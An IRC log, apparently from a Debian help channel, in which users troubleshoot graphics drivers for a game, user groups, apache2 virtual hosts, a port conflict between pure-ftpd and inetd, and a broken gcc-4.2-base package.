| 18:42.21 | Jonny| | ii mesa-utils 6.3.2-2.1 Miscellaneous Mesa GL utilities |
| 18:42.34 | stew | Jonny|: no, you have an i915, which is supported by the i810 driver |
| 18:42.36 | valdyn | Jonny|: oh,nm |
| 18:42.39 | stew | Jonny|: again, please don't paste in here |
| 18:42.44 | Jonny| | well in xorg.conf it says i810 |
| 18:42.48 | Jonny| | oh ok |
| 18:42.51 | Jonny| | ill use pastebin |
| 18:43.00 | valdyn | Jonny|: we need to see your error. |
| 18:43.52 | Jonny| | oh i thought i put it on the pastebin |
| 18:43.53 | Jonny| | sec |
| 18:44.21 | valdyn | Jonny|: you certainly need libgl1-mesa-dri and libgl1-mesa-glx to be installed |
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| 18:44.50 | Jonny| | http://pastebin.se/20031 |
| 18:44.52 | Jonny| | the error |
| 18:45.16 | valdyn | Jonny|: are the packages i listed installed? |
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| 18:45.37 | Jonny| | it says 0 upgraded, 0 newly installed and 0 removed |
| 18:45.42 | Jonny| | and 0 upgraded |
| 18:45.45 | valdyn | Jonny|: ok, glxinfo | grep -i direct |
| 18:45.58 | Jonny| | Yes |
| 18:46.01 | Jonny| | for Direct Rendering |
| 18:46.05 | valdyn | Jonny|: 'glxgears' |
| 18:46.13 | Jonny| | ok the gears come up |
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| 18:46.40 | valdyn | Jonny|: tibia doesnt run on your intel chipset |
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| 18:46.54 | Jonny| | oh....but i had it running on windows |
| 18:46.55 | Jonny| | :S |
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| 18:47.25 | EmleyMoor | Quick question: Who here is going to Edinburgh on Saturday? |
| 18:47.31 | valdyn | Jonny|: sure, that means nothing for linux as intel may write both drivers but they still should have nothing in common |
| 18:47.31 | xerophyte | how can i add new users to the existing group ? |
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| 18:47.46 | abrotman | adduser group <username> |
| 18:47.51 | Jonny| | valdyn, oh well that sucks, i might go back to windows since im bored ;/ |
| 18:47.54 | valdyn | Jonny|: you can try a newer intel driver, from the package 'xserver-xorg-video-intel' |
| 18:48.30 | valdyn | Jonny|: well, linux is not the OS for gaming. |
| 18:48.55 | xerophyte | abrotman, adduser groupname username gives me adduser: The user `username ' does not exist. |
| 18:48.57 | Jonny| | Well i saw Tibia for Linux, Which i downloaded, and friends said it was good and everything would work perfect |
| 18:48.59 | Jonny| | but nothing seems to |
| 18:49.14 | tralala | I'm running amd64 etch and kqemu doesn't appear to be used by qemu. I couldn't find a bug on the BTS so I wonder if you would know anything? |
| 18:49.23 | valdyn | Jonny|: its not any different on windows, basically |
| 18:49.23 | xerophyte | adduser username gives me adduser: The group `username' already exists. |
| 18:49.35 | xerophyte | abrotman, do you know what am i doing it wrong ? |
| 18:49.37 | valdyn | Jonny|: a dx10 game wont run on a dx7 driver/card combo |
| 18:49.44 | Ronin | xerophyte: replace usesname with the real user name |
| 18:50.04 | tralala | xerophyte, adduser <user> <group> adds user to group |
| 18:50.04 | xerophyte | ronin i did ;) |
| 18:50.08 | valdyn | Jonny|: you could try the other driver, as i said, or check out the website of your vendor for the requirements on linux |
| 18:50.12 | Ronin | just checking |
| 18:50.13 | Jonny| | Well, Tibia can run in DX5 7 10 or OpenGL |
| 18:50.23 | valdyn | Jonny|: i was only giving an example |
| 18:50.27 | Jonny| | k |
| 18:50.31 | Jonny| | but vesa driver works |
| 18:50.32 | valdyn | Jonny|: opengl has versions too ;) |
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| 18:50.35 | xerophyte | tralala, i wanna add a new user? |
| 18:50.37 | Jonny| | just that its not playable... |
| 18:50.42 | Jonny| | it runs wayyy to slow |
| 18:50.47 | valdyn | Jonny|: that's not the vesa driver, that's software rendering |
| 18:50.52 | abrotman | xerophyte: it doesn't exist |
| 18:51.06 | xerophyte | abrotman, the user is not exits |
| 18:51.14 | valdyn | Jonny|: software rendering would work on i810 too, just as slow |
| 18:51.14 | xerophyte | abrotman, but the group does exits |
| 18:51.46 | abrotman | doh .. backwards .. adduser <user> <group> |
| 18:52.02 | tralala | xerophyte, then read man adduser |
| 18:52.26 | xerophyte | tralala, got it thx .. adduser username -ingroup groupname |
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| 18:53.09 | valdyn | Jonny|: reading the website and considering that cIP does no longer support the linux client |
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| 18:53.20 | valdyn | Jonny|: it might be a viable solution to run the windows client in wine |
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| 18:53.41 | Jonny| | Mhm |
| 18:53.47 | Jonny| | i tried running tibia with wine |
| 18:53.50 | Jonny| | but no window opens up |
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| 18:54.37 | wols | tralala: AM2 CPU? |
| 18:54.51 | Acu | why it is so cumbersome to make a virtual site on apache2 debian etch - it took be few days (I am not done yet) to find out that first you have to create a file in sites available then created a symlink on sites enable of the same file |
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| 18:55.24 | helo | is there a package i need to install to use a serial printer with cups? |
| 18:55.38 | Acu | question: I am in a LAN without DNS - how can I check my new settings for the virtual servers (is it possible at all) |
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| 18:56.03 | stew | Acu: there is a2ensite and a2dissite to enable and disable the sites (control those sylinks) for you. other than that its the same as it is on any other apache2 installation |
| 18:56.15 | stew | Acu: man 5 hosts |
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| 18:57.22 | tralala | wols, 939 athlon |
| 18:57.53 | Acu | helo: I may not be best in answering your questions - however I sould see foomatic or better go in synaptic package manager and do a search for print parale |
| 18:58.00 | valdyn | tralala: by qemu emulating which cpu? |
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| 18:58.42 | wols | tralala: that one hasn't got pacifica |
| 18:58.45 | tralala | i386 |
| 18:58.48 | wols | tralala: only AM2 and later |
| 18:58.56 | valdyn | wols: he doesnt need that |
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| 18:59.10 | tralala | tralala, I know. Are you saying that kqemu now needs hardware virtualization? |
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| 18:59.14 | tarzeau | wols: this one is for you: It is not so easy to open this tin. You succeed in opening the tin. |
| 18:59.14 | wols | for kqemu? isn't that the hardware virtualization (VT) in CPUs? |
| 18:59.22 | valdyn | tralala: you can only use kqemu when emulating amd64 |
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| 18:59.29 | wols | tarzeau: huh? |
| 18:59.31 | tarzeau | wols: It smells like ponies. |
| 18:59.39 | tralala | valdyn, I see. |
| 18:59.42 | tarzeau | wols: telnet 80.219.76.235 27015 |
| 18:59.43 | diclophis-work | what would cause this: "kernel: RPC: error 5 connecting to server XXX" |
| 18:59.47 | tralala | valdyn, thanks |
| 18:59.48 | valdyn | wols: you are probably mixing this up with kvm, kqemu needs to special hardware support |
| 18:59.59 | wols | tins are hard, brittle and make nasty cuts. not like lovable cuddly, warm, ponies |
| 19:00.10 | valdyn | s/to/no |
| 19:00.19 | tarzeau | wols: but i had a tin of ponies in this game :) |
| 19:00.21 | Acu | stew: are a2ensite and a2dissite found in debian repositories (I have main contrib non-free) and searching for it in Synaptic Package Manager I could not fine either? |
| 19:00.24 | wols | diclophis-work: kernel mode nfs? |
| 19:00.28 | diclophis-work | yea |
| 19:00.29 | diclophis-work | ... |
| 19:00.50 | diclophis-work | wols: i guess its using kernel mode nfs, how can i tell? |
| 19:01.09 | diclophis-work | wols: whenever I get those in my /var/log/messages, my mount becomes completly unusable |
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| 19:01.17 | diclophis-work | wols: and I need to restart the machine to bring it back |
| 19:01.25 | wols | google what "error 5" means in nfs |
| 19:01.42 | wols | Acu: /msg dpkg search |
| 19:01.49 | wols | Acu: pdo is your friend |
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| 19:02.26 | teeeee | can someone point me in the right direction, http://northwestvansales.com/ispconfig.jpg ... i just finshed installing it and would like to know if it would be better to resinstall this app? |
| 19:02.27 | stew | Acu: its in apache2.2-common. it was installed when you installed apache2 |
| 19:02.28 | jelly-home | Hi, "info gdb" opens the info page for gdbm on lenny, can anyone reproduce this? |
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| 19:03.33 | b3nj | hello everybody |
| 19:03.57 | Jonny| | Hey |
| 19:04.04 | diclophis-work | wols: mmm google doesnt turn up anything interesting, where can i search the sourcecode for NFS? |
| 19:04.09 | Jonny| | I Tried running Tibia with Wine, and i get this error |
| 19:04.10 | Jonny| | http://pastebin.se/20033 |
| 19:04.35 | wols | diclophis-work: kernel source |
| 19:04.52 | b3nj | i'm trying to get my wifi pcmcia card working with ndiswrapper, but the module ndiswrapper isn't loadable (module not found) |
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| 19:05.25 | b3nj | does anyone have one tutorial explaining how to get ndiswrapper right installed on his computer ? |
| 19:05.25 | wols | Jonny|: is opengl working under linux yet? if it isn't, it cannot work under wine. also you need to install it under wine too |
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| 19:05.36 | Jonny| | Oh |
| 19:05.37 | wols | !ndiswrapper |
| 19:05.37 | dpkg | well, ndiswrapper is a way to wrap Windows drivers so that they can be used on Linux i386 only. If there is a Linux driver for your card, use that instead; if there isn't, email your manufacturer and ask for one (since it's better for everyone involved if there are real drivers), then ask me about "ndiswrapper one-liner" for information on setting up ndiswrapper. If you don't yet own a card, consider buying one that has real Linux drivers. |
| 19:05.50 | Jonny| | OpenGL doesnt work on Linux either...i cant get tibia workin on either |
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| 19:06.04 | tralala | b3nj, ndiswrapper is not in the kernel - you need to compile it yourself using module assistant |
| 19:06.13 | HardDisk_WP | how do I get a list of all packages installed via dpkg? dpkg -l is not machine readable |
| 19:06.23 | valdyn | HardDisk_WP: it is machine readable |
| 19:06.23 | b3nj | tralala, ok. thats what i was thinking about |
| 19:06.26 | helo | anyone know how to setup a serial printer in debian? |
| 19:06.34 | b3nj | !ndiswrapper one-liner |
| 19:06.34 | dpkg | somebody said ndiswrapper one-liner was apt-get install build-essential ndiswrapper-source module-assistant && m-a a-i ndiswrapper |
| 19:06.45 | diclophis-work | hmm, where at in the kernel? |
| 19:06.49 | HardDisk_WP | valdyn, how? I cant imagine how to filter the pkg description etc |
| 19:07.05 | abrotman | HardDisk_WP: filter for what ? |
| 19:07.06 | valdyn | HardDisk_WP: like do what? |
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| 19:07.32 | abrotman | there is dpkg --get-selections |
| 19:07.55 | HardDisk_WP | i want a list consisting only of one package name per line |
| 19:08.20 | abrotman | how does dpkg -l not do that ? |
| 19:08.20 | HardDisk_WP | i cant use it for xarg |
| 19:08.24 | abrotman | try a little awk |
| 19:08.28 | HardDisk_WP | ii zlib1g 1.2.2-4.sarge.2 compression library - runtime |
| 19:08.28 | valdyn | HardDisk_WP: dpkg -l | awk '{ print $2}' |
| 19:08.36 | ustunozgur | jelly-home: yes, I can. |
| 19:08.42 | szymon_g | hi everyone |
| 19:08.57 | Acu | stew: thanks it seem I am closer than never to make this virtual sites - however a2ensite allows them to enable - I should still manually create the files for the sites in sites available |
| 19:08.59 | ustunozgur | info gdb brings info for gdb unless libgdbm-dev is installed. |
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| 19:09.10 | jelly-home | ustunozgur: eh, thanks |
| 19:09.31 | HardDisk_WP | valdyn, thx! |
| 19:09.32 | valdyn | HardDisk_WP: xargs already isnt suited for a big number of packages |
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| 19:09.45 | tralala | HardDisk_WP, aptitude search ~i | awk '{print $3}' |
| 19:10.04 | blackest | is the clipboard broken in debian ? |
| 19:10.10 | valdyn | blackest: no |
| 19:10.12 | tralala | blackest, it isn't |
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| 19:10.18 | hwilde | is there any other way to set mode ad-hoc if iwconfig doesn't work? |
| 19:10.22 | pickcoder | Acu: the main thing that a2ensite and a2enmod do is create a symlink between the -available and -enabled directories |
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| 19:10.27 | pippijn | hi all |
| 19:10.36 | tralala | hwilde, does your driver support ad-hoc? |
| 19:10.39 | abrotman | pickcoder: only thing? |
| 19:10.45 | pippijn | I get this in gdb: http://pip.one09.net/files/txt/d6847b8ddd04a851827f93cf3a5f2ea9.txt |
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| 19:10.56 | hwilde | tralala, it should but it is saying error for set mode invalid argument 'ad-hoc' |
| 19:10.57 | blackest | thing is if i copy [6]; it pastes as [] then next line 6; |
| 19:10.57 | pickcoder | did I say "only"? |
| 19:11.00 | ustunozgur | jelly-home: removing libgdbm-dev fixes it. but it should be reported. |
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| 19:11.42 | tralala | hwilde, which driver? |
| 19:11.43 | pippijn | (debian gdb by the way) |
| 19:12.09 | stew | jelly-home: ustunozgur: it's very likely to be an intended feature of info. hard to believe such a thing would be an accident |
| 19:12.20 | Acu | pickcoder: thanks |
| 19:12.29 | blackest | it was when copying from a pdf to a text editor |
| 19:13.31 | valdyn | blackest: one app not doing 'copy' correctly does not imply that 'clipboard in debian is broken' |
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| 19:14.29 | tralala | blackest, try ps2ascii |
| 19:14.35 | jelly-home | stew: "oh, the user asked for foo, but we have both foo and foox, so let's give him foox"?! |
| 19:14.52 | blackest | ok |
| 19:14.59 | ustunozgur | more is better. |
| 19:15.06 | clahey | Hey there. I'm editing the debian/ directory of the program I work on, Democracy Player. I build two packages from one source and I want the one to depend on the specific version of the other. Currently, we depend on >= 0.9.6, but it should be = and I want to make it so that we don't have to update it with each version. It's just too easy to forget to update it. |
| 19:15.08 | jelly-home | foox that :-) |
| 19:15.19 | stew | jelly-home: do you have the gdb doc package from non-free installed? |
| 19:15.21 | clahey | Is this the right place to ask such a question? |
| 19:15.46 | luckyshot | Anyone in here know how to install oracle on debian? |
| 19:15.46 | clahey | I'm looking for something like democracyplayerdata = $version or something like that. |
| 19:15.46 | stew | jelly-home: (did you realize that the gdb docs were removed from main and put into non-free?) |
| 19:16.06 | centrx | clahey, this is a fine place to ask it; if no one answers here you might try #debian-devel |
| 19:16.26 | clahey | centrx: Okay. I'm officially asking it. I'll try on #debian-devel if I get no response. Thanks. |
| 19:16.29 | ustunozgur | oh, stew, you are right. installing that non-free package fixed that. |
| 19:16.34 | jelly-home | stew: no. Damn you debian-legal! |
| 19:16.34 | xen_masta_ | Hey, how do I go about reinstalling the standard init in etch? |
| 19:16.41 | centrx | clahey, also try irc.oftc.net |
| 19:16.44 | clahey | centrx: I asked on #ubuntu first. What a mess. |
| 19:16.46 | stew | jelly-home: you mean "damn you fsf!" |
| 19:17.06 | clahey | centrx: Okay. |
| 19:17.06 | centrx | clahey, in #debian or #debian-devel on that network |
| 19:17.06 | valdyn | !wayttd xen_masta_ |
| 19:17.06 | dpkg | What Are You Trying To Do, xen_masta_? |
| 19:17.07 | clahey | centrx: Cool. Thanks. |
| 19:17.08 | jelly-home | stew: damn you debian for thinking docs are software too! :-) |
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| 19:17.27 | stew | jelly-home: even if debian didn't think docs are software. they are non-free nonetheless |
| 19:17.44 | gpm | damn you documentation writers for licensing documentation...and in such a shitty way |
| 19:17.45 | xen_masta_ | valdyn: I rebooted a xen image, and now it tells me it doesn't have /sbin/init |
| 19:17.47 | jelly-home | damn them all, then |
| 19:17.55 | gpm | :P |
| 19:18.14 | abrotman | the docs want to be free! |
| 19:18.29 | gpm | amen |
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| 19:18.53 | stew | and btw, many dictionaires explicitly define software as including documentation |
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| 19:19.04 | sepski | xen_masta_, sounds like you messed up the initrd |
| 19:19.13 | sepski | xen_masta_, try rebuilding it ? |
| 19:19.15 | xand | many dictionaries are wrong |
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| 19:19.26 | lan1g1r0 | question: i am trying to mount a fat32 partition on etch and it is not working |
| 19:19.27 | jelly-home | stew: and you're right, it's a feature. info gd brings up gdbm too. |
| 19:19.32 | abrotman | stew: see .. if they'd just comment their code .. there would be a need for seperate docs! |
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| 19:19.58 | jelly-home | abrotman: *cough*reference manual*cough* |
| 19:19.59 | xen_masta_ | sepski: how do I rebuild init? |
| 19:20.04 | lan1g1r0 | is there an package i need to install first? |
| 19:20.13 | abrotman | jelly-home: read the source! :) |
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| 19:20.33 | abrotman | lan1g1r0: did you compile your own kernel ? |
| 19:20.36 | sepski | xen_masta_, if you use debian kernel images then dpkg-reconfigure linux-image-$yattayatta |
| 19:20.36 | jelly-home | abrotman: YOU figure out how to use libc apis from the source! |
| 19:20.39 | lan1g1r0 | nope |
| 19:20.45 | lan1g1r0 | i used a net-install |
| 19:20.47 | stew | abrotman: well, hopefully one wouldn't have to read the code to gdb to learn how to use gdb |
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| 19:21.01 | abrotman | jelly-home: why? .. a razor blade seems a better solution :) |
| 19:21.17 | abrotman | stew: i guess if you don't use non-free .. you'll have to? or STFW |
| 19:21.43 | stew | or type 'help commands' |
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| 19:21.53 | stew | jelly-home: switch to bsd then :) |
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| 19:23.13 | NickAm | hello there i am stuck with installing pure-ftpd |
| 19:23.18 | compDo | <PROTECTED> |
| 19:23.29 | lan1g1r0 | http://paste.uni.cc/16254 is the error message i get |
| 19:23.39 | NickAm | anyone can help |
| 19:23.44 | NickAm | error: Unable to start a standalone server: Address already in use |
| 19:23.56 | centrx | compDo, I don't know, but there is a couple of tools for youtube |
| 19:24.04 | NickAm | i did lsof -i :21 |
| 19:24.12 | NickAm | got inetd 1309 root 4u IPv4 1137226 TCP *:ftp (LISTEN) |
| 19:24.12 | ustunozgur | compDo: yes, look for video downloader or stg like that for firefox. |
| 19:24.27 | ustunozgur | compDo: then you can watch them with vlc |
| 19:24.28 | NickAm | any1 can help me with this problem |
| 19:24.32 | NickAm | ??? |
| 19:24.42 | centrx | compDo, so if you are doing it for youtube, apt-get install youtube-dl |
| 19:24.53 | centrx | NickAm, be patient |
| 19:25.10 | NickAm | okies, i was just telling my problem |
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| 19:25.35 | compDo | centrx, yes I think it's youtube http://www.rp-online.de/hps/client/opinio/public/pjsub/production_long.hbs?hxmain_object_id=PJSUB::ARTICLE::187429&hxmain_category=pjsub |
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| 19:26.56 | NickAm | ??? |
| 19:27.07 | abrotman | so it's started from inetd .. what's wrong wit that ? |
| 19:27.28 | NickAm | i guess there's a default ftp service.. |
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| 19:27.44 | NickAm | how can i unbind it from inetd ? |
| 19:27.58 | NickAm | i get |
| 19:28.00 | NickAm | Unable to start a standalone server: Address already in use |
| 19:28.20 | compDo | centrx, but how do I get the address of the video file when viewing it with iceweasel? I try to use youtube-dl |
| 19:28.23 | NickAm | when i run this /usr/sbin/pure-ftpd -S ip,port |
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| 19:28.35 | abrotman | comment it out |
| 19:28.51 | NickAm | when i run this :/usr/sbin/pure-ftpd -S ip,port" |
| 19:28.55 | NickAm | when i run this "/usr/sbin/pure-ftpd -S ip,port" |
| 19:29.07 | abrotman | comment it out |
| 19:29.10 | abrotman | in inetd! |
| 19:29.14 | stew | .conf |
| 19:29.16 | NickAm | i already did that |
| 19:29.26 | frank | then restart inetd |
| 19:29.27 | stew | NickAm: /etc/init.d/inetd restart |
| 19:29.28 | NickAm | #ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.ftpd |
| 19:29.35 | NickAm | done that too |
| 19:29.38 | abrotman | yeah .. that :) |
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| 19:29.48 | valdyn | NickAm: ls /etc/init.d/*ftp* |
| 19:29.59 | NickAm | /etc/init.d/inetd restart |
| 19:30.00 | NickAm | Restarting internet superserver: inetd. |
| 19:30.08 | centrx | compDo, it's just the youtube URL |
| 19:30.09 | NickAm | lsof -i :21 |
| 19:30.09 | NickAm | COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME |
| 19:30.09 | NickAm | inetd 1309 root 4u IPv4 1137226 TCP *:ftp (LISTEN) |
| 19:30.19 | centrx | compDo, that particular tool only works with youtube |
| 19:30.21 | ustunozgur | compDo: click Menu, then click URL text and copy and paste it |
| 19:30.25 | centrx | compDo, someone mentioned a firefox extension |
| 19:30.31 | NickAm | the port is still bound to inetd |
| 19:30.36 | stew | NickAm: please don't paste in here, use a pastebin: /msg dpkg pastebin |
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| 19:31.11 | stew | NickAm: /etc/init.d/inetd stop ; then make sure that it actually goes away (to make sure the init script is really kinning it) |
| 19:31.17 | NickAm | hmm ok.. |
| 19:31.28 | NickAm | ok let me try that.. |
| 19:31.39 | xingu | NickAm: update-inetd --disable ftp |
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| 19:33.11 | NickAm | nop its still shows the same |
| 19:33.45 | NickAm | any other idea? |
| 19:33.58 | NickAm | or if i can configure this default service to accept ftp connections |
| 19:33.59 | stew | NickAm: so it still shows inetd has listening on the ftp port even after you have run "/etc/init.d/inetd stop"? |
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| 19:34.13 | NickAm | yes stew |
| 19:34.17 | NickAm | it does |
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| 19:34.40 | stew | NickAm: you should kill the inetd process by hand then |
| 19:34.59 | stew | NickAm: then restart inetd with "/etc/init.d/inetd start" and make sure its no lnoger listening on the ftp port |
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| 19:35.47 | NickAm | yeah it worked |
| 19:35.54 | NickAm | i did: lsof -i :21 |
| 19:35.59 | NickAm | nothing showed up |
| 19:36.30 | NickAm | thanks |
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| 19:38.56 | lan1g1r0 | anyone got any idea how to fix my problem? |
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| 19:39.16 | lan1g1r0 | http://paste.uni.cc/16254 |
| 19:39.30 | lan1g1r0 | when i try to mount a fat32 partition |
| 19:39.44 | Pallofooni | Has anyone solved the awstats securing issue? It seems to be impossible without the mysql-auth-module which isn't supported by etch |
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| 19:39.57 | Pallofooni | *awstats securing issue with etch* |
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| 19:41.22 | sepski | Pallofooni, dont assume that becouse you have a problem with a issue. that it's universaly known as an "issue" |
| 19:41.57 | Pallofooni | I meant that if anyone here uses etch + awstats, how has he solved it |
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| 19:42.33 | lan1g1r0 | am i consciously being ignored or can no one help me? |
| 19:42.36 | abrotman_ | install pmount ? |
| 19:43.02 | lan1g1r0 | how do i install pmount? |
| 19:43.04 | cahoot | lan1g1r0, /msg dpkg vfatrw |
| 19:43.06 | gpm | !install |
| 19:43.07 | dpkg | There are a myriad different ways to install Debian. See http://www.debian.org/releases/stable/debian-installer for a list of images. Ask me about <install guide> and <d-i> for detailed instructions. (If you've never installed Debian before, you should read the install guide.) |
| 19:43.11 | gpm | damn |
| 19:43.13 | gpm | apt-get install |
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| 19:43.17 | gpm | get a clue |
| 19:43.19 | sepski | !installit |
| 19:43.19 | dpkg | *** NEWS FLASH! *** Your box does not come with every app, tool and utility known to debiankind installed already. If you find that the program you've been told to use isn't there, install it. Also ask me about <search>. if someone suggests an application to you, it's highly likely that it's available via apt-get |
| 19:43.36 | stew | no pmount is not the problem |
| 19:43.44 | stew | gpm: please keep it constructive |
| 19:43.56 | NickAm | now when i install pure-ftpd i get following errors: http://paste.uni.cc/16256 |
| 19:44.02 | stew | pmount is complaining that it can't mount the drive becuase pmount only mounts removable drives |
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| 19:44.26 | stew | lan1g1r0: is /dev/hda5 in fact a removable drive? |
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| 19:44.41 | stew | err partition on a removable drive?... |
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| 19:44.58 | lan1g1r0 | nope |
| 19:45.15 | gpm | fstab it |
| 19:45.24 | lan1g1r0 | ok |
| 19:45.30 | stew | lan1g1r0: then you can't use pmount to mount it. is this an automounter? which? |
| 19:45.52 | wschlich | can anyone tell me whether Christian Hammers <ch@debian.org> is present in this channel? |
| 19:47.03 | lan1g1r0 | this is on the same drive as the partition that holds etch |
| 19:47.03 | gpm | only he could |
| 19:47.03 | NickAm | ?? |
| 19:47.03 | streuner | wschlich: for what for? |
| 19:47.03 | stew | wschlich: http://db.debian.org will tell you his preverred /nick. try "/whois nick", but you are much more likely to find him on irc.debian.org than on this network |
| 19:47.11 | wschlich | streuner: I have some questions about his mysql builds |
| 19:47.15 | wschlich | stew: thanks! |
| 19:47.26 | stew | ^preverred^preferred |
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| 19:47.42 | NickAm | now when i install pure-ftpd i get following errors: http://paste.uni.cc/16256 <== anyone can help ? |
| 19:47.47 | davidL | is irc.debian.org more active than this channel? |
| 19:47.58 | gpm | NickAm: pureftpd is install |
| 19:47.59 | gpm | ed |
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| 19:48.02 | gpm | according to your paste |
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| 19:48.17 | NickAm | gpm am getting errors at the end |
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| 19:48.34 | wschlich | ok, he's not on irc.debian.org/OFTC in #debian either ;) |
| 19:48.38 | gpm | NickAm: yeah |
| 19:48.45 | gpm | NickAm: but your pure-ftpd is installed |
| 19:48.56 | gpm | the other errors are pretty self-explantory, if you actually read them instead of complaining |
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| 19:49.14 | NickAm | let me read it again.. if i can solve them myself.. |
| 19:49.33 | stew | NickAm: is the mktemp pacakge installed? |
| 19:49.38 | wschlich | bye dudes |
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| 19:49.55 | stew | gpm: why? |
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| 19:50.28 | gpm | look at the paste, nobody gets errors like that unless they're using sid |
| 19:50.41 | stew | gpm: uh, no. that isn't a broken package |
| 19:50.54 | gpm | could be a borken dep |
| 19:50.56 | NickAm | well thats a remote box, am using win |
| 19:51.04 | stew | gpm: no, it can't be |
| 19:51.15 | gpm | fine, i'm dumb |
| 19:51.16 | stew | NickAm: is the mktemp installed? |
| 19:51.45 | NickAm | i dunno, how do i check |
| 19:51.59 | stew | NickAm: what does "apt-cache policy mktemp" say for Installed: ? |
| 19:52.22 | NickAm | Installed: (none) |
| 19:52.26 | NickAm | Candidate: 1.5-3 |
| 19:52.32 | NickAm | soemthing like that.. it |
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| 19:53.13 | stew | NickAm: did you recently upgrade? mktemp is a Priority: required pacakge. you should not have been able to remove that package without going out of your way to do so |
| 19:53.46 | NickAm | yeah i just ran apt-get update/install |
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| 19:54.44 | NickAm | how do i install? |
| 19:54.47 | NickAm | whats the deb name ? |
| 19:54.52 | NickAm | apt-cache ? |
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| 19:55.21 | stew | NickAm: its mktemp; you might run: ' aptitude install "~prequired" ' to install all the required packages |
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| 19:56.29 | streuner | How to remove everything of GNOME, that it doesn't even know its accounts of evolution? |
| 19:56.29 | NickAm | ok.. let me install |
| 19:56.31 | streuner | .gnome* and .evolution seems not enough |
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| 19:57.52 | hark | there |
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| 19:58.26 | Trewas | streuner: maybe .gconf |
| 19:58.30 | hark | er, there's ~/.gconf/ too (gconftool-2 --recursive-unset / ) |
| 19:58.31 | NickAm | stew i got errors: Errors were encountered while processing: gcc-4.2-base and libgcc1 |
| 19:58.46 | NickAm | and it stopped |
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| 19:59.19 | valdyn | streuner: was gconfd-2 no longer running? |
| 19:59.35 | valdyn | streuner: ( it doesnt quit on logout. ) |
| 19:59.46 | streuner | valdyn: thanks, its already solved... |
| 20:00.04 | NickAm | ?? what should i do now? |
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| 20:01.37 | NickAm | http://paste.uni.cc/16257 |
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| 20:04.31 | NickAm | anyone ?? |
| 20:04.49 | hark | NickAm: try dpkg --configure -a |
| 20:05.16 | NickAm | same error |
| 20:05.56 | hark | or maybe aptitude install gcc-4.2-base |
| 20:06.25 | NickAm | same error again |
| 20:06.31 | NickAm | let put them in paste bin |
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| 20:07.52 | keith4 | i need this factoid to paste to someone in a different channel... |
| 20:07.55 | keith4 | !wayc |
| 20:07.55 | dpkg | well, wayc is Why Are You Compiling (instead of using apt-get) |
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| 20:09.29 | NickAm | http://paste.uni.cc/16259 |
| 20:09.36 | NickAm | here are the errors |
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| 20:10.03 | PrinceAMD | can someone tell me what this is for "/etc/hosts" |
| 20:10.41 | pickcoder | NickAm: .copyright is missing from the state dir |
| 20:10.51 | pickcoder | s/state/stated |
| 20:11.01 | NickAm | so what should i do ? |
| 20:11.10 | pickcoder | try touching it and do dpkg-reconfigure gcc-4.2-base |
| 20:11.16 | irc_ | what steps are necessary to use xfs_growfs? |
| 20:11.17 | irc_ | do I have to edit the partition table at first? |
| 20:11.25 | pickcoder | what version of Debian is this? |
| 20:11.34 | pingouin | is postfix can use several relayhost = [smtp.ispn.xx] ? |
| 20:11.37 | NickAm | gcc-4.2-base is broken or not fully installed |
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| 20:12.20 | NickAm | Debian GNU/Linux lenny |
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| 20:14.26 | NickAm | any hope ? |
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| 20:14.26 | pickcoder | looks like it was removed from a bug report but it needed to remain for upgrades |
| 20:15.41 | pickcoder | NickAm: the correct way to fix that would be to unpack the .deb, create the missing file, and then repack it |
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| 20:16.23 | NickAm | hmmmm is there any easy way ? |
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| 20:16.48 | pickcoder | did you try touching the file? |
| 20:16.53 | NickAm | nop |
| 20:17.04 | pickcoder | BULK.UPDATE.PROSPECT.TYPE |
| 20:17.10 | NickAm | i just did the apt update command |
| 20:17.11 | pickcoder | grr |
| 20:17.15 | hark | heh |
| 20:17.28 | pickcoder | 16:11:06] [pickcoder] try touching it and do dpkg-reconfigure gcc-4.2-base |
| 20:18.06 | NickAm | i didnt get it, touching it ? |
| 20:18.10 | NickAm | sorry am newbie |
| 20:18.10 | diclophis-work | is there a way to have lsof "watch" for files opened/closed during a given time range? |
| 20:18.13 | NickAm | to debian |
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| 20:18.23 | sybariten | is the "#apt" irc channel somewhere else? |
| 20:18.28 | diclophis-work | maybe it doesnt need to use lsof |
| 20:18.36 | pickcoder | touch /usr/share/doc/gcc-4.2-base/.copyright |
| 20:18.46 | pickcoder | as root |
| 20:18.49 | NickAm | oops sorry.. am acting totally nerd |
| 20:18.54 | stew | sybariten: i don't know that there is an #apt channel |
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| 20:19.44 | stew | .copyright? wth is that? |
| 20:19.44 | pickcoder | duplicate copyright as a hidden file |
| 20:19.45 | stew | and the package needs it to be installed? |
| 20:19.45 | pickcoder | apparently for upgrades it does |
| 20:19.45 | pickcoder | there's a bug report |
| 20:19.45 | NickAm | gcc-4.2-base is broken or not fully installed |
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| 20:19.45 | NickAm | same error |
| 20:19.48 | centrx | it installed fine on my computer |
| 20:19.56 | gues2 | hi |
| 20:20.08 | gues2 | i has a problem with nis |
| 20:20.19 | gues2 | i has configurate a server nis |
| 20:20.22 | stew | so this file is needed for upgrades, but he isn't upgrading |
| 20:20.23 | gues2 | with debian 4.0 |
| 20:20.45 | stew | gues2: please tell us the exact problem all on one line |
| 20:20.47 | pickcoder | stew: who the heck knows.. it's apparently not in the .deb, but the install scripts are looking for it |
| 20:21.04 | keith4 | diclophis-work: look at famd |
| 20:21.05 | NickAm | http://paste.uni.cc/16259 <== |
| 20:21.28 | pickcoder | http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=389366 |
| 20:21.32 | diclophis-work | keith4: famd... is that a daemon |
| 20:21.38 | gues2 | my problem is who my client's nis don't import the groups of server |
| 20:22.13 | keith4 | diclophis-work: yessir |
| 20:22.24 | gues2 | when i type in konsole ypcat group |
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| 20:22.51 | keith4 | diclophis-work: http://www.linuxmanpages.com/man8/famd.8.php |
| 20:22.58 | stew | wow, hmm, i don't have gcc-4.2-base installed either, wierd |
| 20:22.58 | gues2 | this command show the clients and users of my server |
| 20:22.59 | sybariten | ok, does anyone know if theres a waterproif way of getting a list of all software i myself have installed via apt? |
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| 20:23.08 | tarzeau | !qotd0 |
| 20:23.09 | dpkg | qotd172 is, like, <abrotman> !maint sex |
| 20:23.10 | NickAm | :D |
| 20:23.24 | pickcoder | NickAm: can you safely remove gcc-4.2-base without removing other applications? |
| 20:23.35 | sybariten | i'm gonna upgrade my system and i suspect things may break, so i just want an easy list to follow when i reinstall everything |
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| 20:23.37 | stew | sybariten: how is that different than the list of all installed packages? |
| 20:23.41 | gues2 | but the roblem is who when my clients do login |
| 20:23.43 | NickAm | i can try.. |
